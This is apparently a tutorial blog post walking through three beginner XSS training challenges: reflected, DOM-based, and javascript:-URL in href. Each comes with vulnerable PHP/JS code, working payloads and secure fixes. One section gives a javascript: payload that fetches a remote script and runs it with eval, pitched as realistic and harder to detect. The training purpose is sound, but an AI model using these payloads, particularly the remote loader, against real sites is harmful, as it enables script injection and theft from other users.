Learning XSS Through Practice: Baby Challenge Walkthrough
If you’re new to web security, you’ve probably heard about XSS (Cross-Site Scripting) but might not fully understand what it is or how it works. Reading about vulnerabilities is one thing, but actually exploiting them yourself is where the real learning happens.
In this article, I’ll walk you through three beginner-friendly XSS challenges from xss.challenge.training.hacq.me. By the end, you’ll understand exactly what XSS is, how it works, and why it’s dangerous. Each challenge builds on the previous one, teaching you different aspects of XSS attacks.
What is XSS? (The Simple Explanation)
Before we dive into the challenges, let’s understand what XSS actually is:
Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious JavaScript code into web pages. The “Cross-Site” part of the name can be misleading - the attack doesn’t always happen across different sites. The key idea is simpler: an attacker tricks a website into executing JavaScript code that it shouldn’t execute.
Here’s the core concept: When you send data to a website (like typing in a search box or posting a comment), that data is just text. But if the website doesn’t properly handle that text and instead treats it as code, an attacker can inject JavaScript that runs in other users’ browsers.
Think of it like this: You’re writing a letter (the text input), but if the recipient (the website) doesn’t check what’s in the letter and just follows whatever instructions are written, you could tell them to do something malicious.
The Three Challenges
We’ll work through three challenges, each teaching you something different:
- Baby01: The simplest case - no protection at all
- Baby02: DOM-based XSS - the attack happens in your browser
- Baby03: Context matters - even “protected” code can be vulnerable
Challenge Overview
| Challenge | XSS Type | Attack Vector | Vulnerability | Protection Used | Example Payload |
|---|---|---|---|---|---|
| Baby01 | Reflected XSS | URL parameter (?payload=) | Direct echo without sanitization | None | <script>alert('XSS')</script> |
| Baby02 | DOM-based XSS | URL hash (#payload) | innerHTML with user input | None | <img src=x onerror=prompt(1)> |
| Baby03 | Context-based XSS | URL parameter (?payload=) | javascript: URLs in href attributes | htmlspecialchars() (insufficient) | javascript:alert('XSS')// |
This table gives you a quick overview of what we’ll be learning. Notice how each challenge introduces a different concept: from no protection at all, to client-side vulnerabilities, to context-specific issues.
Let’s start!
Challenge 1: Baby01 - The Simplest XSS
Challenge URL: baby01.php
Understanding the Code
Let’s look at what the challenge does. When you view the page source, you’ll see:
<script src="hook.js"></script>
<?php
echo $_GET["payload"];
?>
<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>
What’s happening here?
- The page loads
hook.js(we’ll see why this matters later) - PHP code takes a parameter called
payloadfrom the URL ($_GET["payload"]) - It directly outputs that parameter using
echo- no filtering, no sanitization, nothing - There’s a form where you can enter a payload
The Vulnerability
The problem is on this line:
echo $_GET["payload"];
This takes whatever you put in the URL parameter payload and outputs it directly into the HTML page. If you put HTML or JavaScript code in there, the browser will treat it as actual code, not just text.
Step-by-Step Exploitation
Step 1: Try a simple script tag
In the form, try entering:
<script>alert('XSS')</script>
Or in the URL directly:
https://xss.challenge.training.hacq.me/challenges/baby01.php?payload=<script>alert('XSS')</script>
What happens?
The page receives your input, outputs it directly, and the browser sees:
<script>alert('XSS')</script>
The browser thinks: “Oh, this is a script tag! I should execute the JavaScript inside it.” And it does - the alert pops up!
Why This Works
This is called Reflected XSS because:
- Your input is “reflected” back in the response
- The payload isn’t stored anywhere - it only exists in this one request/response
- The server takes your input and immediately sends it back without any processing
The key lesson: When user input is directly inserted into HTML without any filtering, you can inject JavaScript.
Secure Alternative
How should this be written securely?
<?php
$payload = $_GET["payload"];
echo htmlspecialchars($payload, ENT_QUOTES, 'UTF-8');
?>
htmlspecialchars() converts special characters like < and > into HTML entities (< and >), so the browser treats them as text, not code.
Challenge 2: Baby02 - DOM-Based XSS
Challenge URL: baby02.php
Understanding the Code
This challenge is different. Look at the source:
<script src="hook.js"></script>
<script>
window.addEventListener("load", function() {
var q = location.hash.substring(1);
window.query.innerHTML = q == '' ? `Hello!` : (`Hello, ${decodeURI(q)}`);
});
</script>
<p id="query"></p>
What’s happening here?
- The code runs when the page loads (
addEventListener("load")) - It reads
location.hash- that’s everything after#in the URL - It removes the
#withsubstring(1) - It uses
innerHTMLto insert the content into the<p id="query">element
The Vulnerability
The problem is innerHTML:
window.query.innerHTML = q == '' ? `Hello!` : (`Hello, ${decodeURI(q)}`);
innerHTML treats the string as HTML markup. If you put HTML code in there, it becomes actual HTML elements in the page.
Step-by-Step Exploitation
Step 1: Understanding the attack vector
The attack comes through the URL hash (the part after #). Try this URL:
https://xss.challenge.training.hacq.me/challenges/baby02.php#test
You’ll see “Hello, test” on the page. The #test part was read and inserted.
Step 2: Try injecting HTML
Now try:
https://xss.challenge.training.hacq.me/challenges/baby02.php#<img src=x onerror=alert('XSS')>
What happens?
location.hash=#<img src=x onerror=alert('XSS')>substring(1)removes#→<img src=x onerror=alert('XSS')>innerHTMLinserts it, and the browser creates an actual<img>element- The browser tries to load image “x” (which doesn’t exist)
- The
onerrorevent fires alert('XSS')should execute… but wait, it doesn’t!
Step 3: Why alert() doesn’t work
Remember hook.js? It likely overrides the alert() function. This is common in CTF challenges to verify you’re actually executing code.
Try prompt(1) instead:
https://xss.challenge.training.hacq.me/challenges/baby02.php#<img src=x onerror=prompt(1)>
Or URL-encoded:
https://xss.challenge.training.hacq.me/challenges/baby02.php#<img%20src=x%20onerror=prompt(1)>
Success! The prompt appears.
Why This Works
This is DOM-based XSS:
- The attack happens entirely in the browser (client-side)
- The payload never goes to the server
- The vulnerability is in how JavaScript manipulates the DOM
innerHTMLinterprets strings as HTML, allowing injection
The key lesson: Even if the server is secure, client-side JavaScript can still be vulnerable if it unsafely handles user input.
Secure Alternative
Use textContent instead of innerHTML:
window.query.textContent = q == '' ? 'Hello!' : `Hello, ${decodeURI(q)}`;
textContent treats everything as plain text and automatically escapes HTML, preventing injection.
Challenge 3: Baby03 - Context Matters
Challenge URL: baby03.php
Understanding the Code
This one looks more secure at first glance:
<script src="hook.js"></script>
<?php
$escaped = htmlspecialchars($_GET['payload']);
?>
<h1>Hello, <?= $escaped ?></h1>
<a href="<?= $escaped ?>/friends">Friends</a>
<a href="<?= $escaped ?>/post">Posts</a>
<a href="<?= $escaped ?>/settings">Settings</a>
What’s happening here?
- The code uses
htmlspecialchars()to escape the input - The escaped value is used in two places:
- In the
<h1>tag (as text content) - In
hrefattributes of links
- In the
The Vulnerability
htmlspecialchars() does protect against HTML injection. If you try:
?payload=<script>alert('XSS')</script>
It gets escaped to <script>alert('XSS')</script> and won’t execute.
But look at where the value is used:
<a href="<?= $escaped ?>/friends">Friends</a>
The escaped value goes into an href attribute. Even though HTML is escaped, href attributes have a special feature: they can contain javascript: URLs.
Step-by-Step Exploitation
Step 1: Understanding javascript: URLs
In HTML, you can put javascript: in an href attribute, and the browser will execute the JavaScript:
<a href="javascript:alert('XSS')">Click me</a>
When clicked, this executes alert('XSS').
Step 2: Crafting the payload
We need to break out of the URL context. The code does:
<a href="<?= $escaped ?>/friends">Friends</a>
If $escaped is javascript:alert('XSS'), we get:
<a href="javascript:alert('XSS')/friends">Friends</a>
That won’t work because of the /friends part. We need to prevent that from being part of the URL. We can use // to comment it out:
?payload=javascript:alert('XSS')//
This creates:
<a href="javascript:alert('XSS')//friends">Friends</a>
The // comments out /friends, so the browser executes javascript:alert('XSS').
The working payload:
https://xss.challenge.training.hacq.me/challenges/baby03.php?payload=javascript:alert('XSS')//
Or URL-encoded:
https://xss.challenge.training.hacq.me/challenges/baby03.php?payload=javascript%3Aalert%28%27XSS%27%29%2F%2F
Alternative Solution: External Script Loading
There’s another way to solve this challenge that’s more realistic for real attacks. Instead of a simple alert(), you can load an external script:
Payload:
javascript:fetch('https://raw.githubusercontent.com/username/repo/main/payload.js').then(r=>r.text()).then(eval)//
How it works:
- Uses
fetch()to download a JavaScript file from a remote server (like GitHub raw) - Gets the text content with
.then(r => r.text()) - Executes it with
.then(eval) - The
//comments out the/friendspart
Why this is useful:
- You can host a larger payload externally
- You can update the external script without re-injecting
- More flexible for complex attacks
- Harder to detect in some cases
This technique was even found on real websites, including the NATO website, demonstrating that this isn’t just a theoretical attack.
Why This Works
This demonstrates that context matters:
htmlspecialchars()protects against HTML injection- But it doesn’t protect against
javascript:URLs inhrefattributes - The same input, used in different contexts, can have different security implications
The key lesson: Escaping alone isn’t enough. You need to validate input based on where and how it’s used.
Secure Alternative
For href attributes, you should:
- Whitelist allowed URL schemes (only
http://,https://, relative paths) - Reject
javascript:anddata:URLs - Use a URL validation library
<?php
function sanitizeUrl($input) {
// Remove any javascript: or data: schemes
if (preg_match('/^(javascript|data):/i', $input)) {
return '#';
}
// Only allow http, https, or relative URLs
if (!preg_match('/^(https?:\/\/|\/|#)/i', $input)) {
return '#';
}
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
$escaped = sanitizeUrl($_GET['payload']);
?>
XSS Types Comparison
Now that you’ve completed all three challenges, let’s compare the different XSS types you’ve encountered:
| Aspect | Reflected XSS (Baby01) | DOM-based XSS (Baby02) | Context-based XSS (Baby03) |
|---|---|---|---|
| Where it happens | Server-side | Client-side (browser) | Server-side with client-side context |
| Payload location | URL parameters, form data | URL hash, client-side storage | URL parameters in specific contexts |
| Server interaction | Payload sent to server | Payload never sent to server | Payload sent to server |
| Detection | Visible in server logs | Not visible in server logs | Visible in server logs |
| Protection | Server-side sanitization | Client-side validation | Context-aware validation |
| Example scenario | Search results, error messages | Single-page applications, client-side routing | Links, redirects, URL handling |
| Difficulty to prevent | Medium (standard sanitization) | Hard (requires secure DOM manipulation) | Medium-Hard (requires context awareness) |
Key Insight: Each type requires different defense strategies. You can’t use the same protection method for all three - context matters!
What You’ve Learned
By completing these three challenges, you now understand:
- What XSS is: Injecting JavaScript code into web pages through user input
- Reflected XSS: Payload in URL/request, reflected in response
- DOM-based XSS: Attack happens entirely in browser, never touches server
- Context matters: The same input can be safe in one context but dangerous in another
- Why filtering matters: Different contexts need different protection strategies
Key Takeaways
- Never trust user input: Always validate and sanitize
- Use the right tool:
textContentfor text, proper URL validation for links - Context is crucial: Where input is used determines how to protect it
- Client-side isn’t safe: DOM manipulation can be vulnerable too
- Practice helps: Hands-on challenges build real understanding
Next Steps
Now that you understand the basics, you can:
- Try more advanced challenges at xss.challenge.training.hacq.me
- Practice with Google XSS Game
- Set up OWASP Juice Shop for realistic practice
- Learn about Content Security Policy (CSP) and other defenses
- Study how modern frameworks handle XSS protection
Remember: The goal isn’t just to exploit vulnerabilities - it’s to understand them so you can build more secure applications. Every vulnerability you learn to exploit is a vulnerability you’ll know how to prevent.
Related Articles
Bypassing Quotes Filters: String.fromCharCode() to the Rescue
December 20, 2025
Learn how String.fromCharCode() can bypass filters that remove quotes, and why filtering specific characters isn't enough for XSS protection
Bypassing Parentheses Filters: Template Literals to the Rescue
December 19, 2025
Learn how JavaScript template literals can bypass filters that remove parentheses, and why filtering specific characters isn't enough for XSS protection
Bypassing Filters with JSFuck: When Character Restrictions Aren't Enough
December 18, 2025
Learn how JSFuck can bypass filters that remove alphanumeric characters, and why simple character filtering is insufficient for XSS protection